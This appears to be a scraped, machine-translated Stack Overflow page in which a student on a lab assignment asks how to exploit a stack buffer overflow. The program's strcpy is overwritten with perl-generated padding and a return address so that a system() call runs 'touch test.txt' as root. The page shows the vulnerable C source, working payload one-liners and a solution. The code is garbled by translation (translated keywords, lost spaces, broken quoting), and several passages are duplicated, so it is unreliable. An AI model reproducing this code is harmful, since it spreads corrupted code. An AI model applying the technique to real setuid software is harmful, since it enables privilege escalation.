Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/ios/107.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 利用堆栈缓冲区溢出_C_Linux_Bash_Buffer Overflow - Fatal编程技术网

C 利用堆栈缓冲区溢出

C 利用堆栈缓冲区溢出,c,linux,bash,buffer-overflow,C,Linux,Bash,Buffer Overflow,我正在执行缓冲区溢出分配,我被这个命令的语法卡住了: $。/script$(perl-e'print“A”x 36.\x40\x83\x04\x08'| touch test.txt) 我们希望用这种内衬而不是外壳。返回地址是正确的,它将我带到程序集中的正确位置,但是当我运行它时,函数将以标准用户的身份执行,而不是以root用户的身份运行 据我所知,问题要么是语法,要么是引号 我怎样才能纠正一行呢 脚本的源代码 #包括 #包括 #包括 #包括 chararg1[60]; chararg2[60

我正在执行缓冲区溢出分配,我被这个命令的语法卡住了:

$。/script$(perl-e'print“A”x 36.\x40\x83\x04\x08'| touch test.txt)
我们希望用这种内衬而不是外壳。返回地址是正确的,它将我带到程序集中的正确位置,但是当我运行它时,函数将以标准用户的身份执行,而不是以root用户的身份运行

据我所知,问题要么是语法,要么是引号

我怎样才能纠正一行呢

脚本的源代码

#包括
#包括
#包括
#包括
chararg1[60];
chararg2[60];
void func(字符*s){
char-buf[32];
strcpy(buf,s);
printf(“您输入了:%s\n”,buf);
}
无效机密(){
系统(arg2);
}
int main(int argc,char*argv[]){
如果(argc<2){
printf(“用法:%s某些_字符串\n”,argv[0]);
返回2;
}
strcpy(arg1,argv[1]);
如果(argc==3){
strcpy(arg2,argv[2]);
}
func(argv[1]);
返回0;
}

我想您不需要说
| touch test.txt)
的部分

/script$(perl-e'print“A”x 36.\x40\x83\x04\x08“)“touch test.txt”
应该有用

我不确定您为什么要将shell脚本的输出管道化到
touch
命令(我假设您要利用的缓冲区溢出在脚本中,它最终以某种方式使用第二个参数作为函数的参数)


至于它为什么以普通用户的身份执行,在您的场景中,您的shell以普通用户的身份运行
touch
。我认为您要做的是以root用户身份运行脚本(通过使其成为一个超级用户或仅使用
sudo
运行程序,并使脚本实际执行对
系统的调用(“touch…”);

我认为您不需要显示
| touch test.txt)的部分

/script$(perl-e'print“A”x 36.\x40\x83\x04\x08“)“touch test.txt”
应该有用

我不确定您为什么要将shell脚本的输出管道化到
touch
命令(我假设您要利用的缓冲区溢出在脚本中,它最终以某种方式使用第二个参数作为函数的参数)


至于它为什么以普通用户的身份执行,在您的场景中,您的shell以普通用户的身份运行
touch
。我认为您要做的是以root用户身份运行脚本(通过使其成为一个超级用户或仅使用
sudo
运行程序,并使脚本实际执行对
系统的调用(“触摸…”);

经过一些修补和社区的大量帮助,解决方案是:

/step4`perl-e'打印“A”x 36.\x94\x84\x04\x08”`“touch test.txt”


我检查了gdb中的程序集,为secret函数调用了正确的地址,并将$()替换为back ticks,攻击按预期执行。非常感谢Marco在这方面的帮助。

经过一些修补和社区的大量帮助,解决方案是:

/step4`perl-e'打印“A”x 36.\x94\x84\x04\x08”`“touch test.txt”



我检查了gdb中的程序集,为secret函数调用了正确的地址,并将$()替换为back ticks,攻击按预期执行。非常感谢Marco在这方面的帮助。

为什么它们会以root身份执行?
| touch test.txt)
部分应该做什么?您正在将perl命令(print!)的输出管道化到touch命令中。@Marco它要做的就是创建一个txt文件作为root用户,而不是标准用户。该脚本本质上是两个参数,arg1是填充缓冲区并提供返回地址的perl脚本,arg2应该允许访问system()函数,在该函数中创建test.txt文件。好的,但是在哪里会出现要利用的缓冲区溢出?它是在脚本中还是在arg2程序中?您现在对脚本的调用只需要一个参数。在任何情况下,如果您可以提供有关脚本的更多有用信息(如果您有源代码,这将是最好的!),为什么它们会以root用户身份执行?
|touch test.txt)
部分应该做什么?您正在将perl命令(print!)的输出管道化到touch命令中。@Marco它要做的就是创建一个txt文件作为root用户,而不是标准用户。该脚本本质上是两个参数,arg1是填充缓冲区并提供返回地址的perl脚本,arg2应该允许访问system()函数,在该函数中创建test.txt文件。好的,但是在哪里会出现要利用的缓冲区溢出?它是在脚本中还是在arg2程序中?您现在对脚本的调用只需要一个参数。在任何情况下,如果您可以提供有关脚本的更多有用信息(如果您有源代码,那将是最好的!)是的,可以填充缓冲区并将帧指针设置为正确的地址,但我还需要使用system()创建一个文本文件arg 2的函数,这是| touch test.txt的第二部分。但您不需要使用管道,只需使用空格分隔参数即可。请参阅更新的代码谢谢您更新答案,我已经尝试过了,出现了一个分段错误,文件没有创建。我还尝试了
/script$(perl-e'print“A”x 36.\x40\x83\x04\x08“)`touch test.txt`
,得到了相同的结果。分段错误很好。这意味着你的脚本被执行了,你的缓冲区溢出崩溃了。也许您可以将gdb附加到脚本,然后继续查看是什么扰乱了调用。在这种情况下,您的目标是用您想要的函数的地址覆盖存储在堆栈中的返回地址